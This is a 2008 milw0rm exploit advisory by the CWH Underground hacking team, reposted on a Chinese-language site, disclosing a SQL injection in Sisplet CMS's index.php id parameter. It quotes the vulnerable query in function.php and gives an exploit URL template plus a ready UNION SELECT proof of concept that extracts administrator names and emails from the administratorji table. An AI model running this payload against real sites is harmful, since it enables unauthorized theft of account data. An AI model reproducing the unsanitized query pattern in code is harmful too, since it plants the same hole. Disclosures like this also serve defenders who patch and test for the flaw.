Sisplet CMS (index.php id) Remote SQL Injection Vulnerability

作者：milw0rm 文章来源：milw0rm 点击数：更新时间：2008-7-3

=================================================================
Sisplet CMS (index.php id) Remote SQL Injection Vulnerability
=================================================================

,--^----------,--------,-----,-------^--,
| |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX / `\   /
    / XXXXXX /\______(
   / XXXXXX /
/ XXXXXX /
(________(
`------'

AUTHOR : CWH Underground
DATE : 1 July 2008
SITE : cwh.citec.us

#####################################################
APPLICATION : Sisplet CMS
VERSION     : 2008-01-24
VENDOR      : http://cms.sisplet.org/
DOWNLOAD    : http://downloads.sourceforge.net/sisplet/SiSplet-2008-01-24.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
Vulnerable File (function.php)
-----------------------------------

$sql = mysql_query("SELECT parent FROM menu WHERE id = '$id'");

---------
Exploit
---------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=[SQL Injection]

------
POC
------

[+] http://[Target]/[sisplet_path]/index.php?fl=0&p1=1&p2=15&id=15'/**/AND/**/1=2/**/UNION/**/SELECT/**/concat(ime,0x3a,priimek,0x3a,email),2,3,4/**/FROM/**/administratorji/**/WHERE/**/tip='0

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #
##################################################################

# milw0rm.com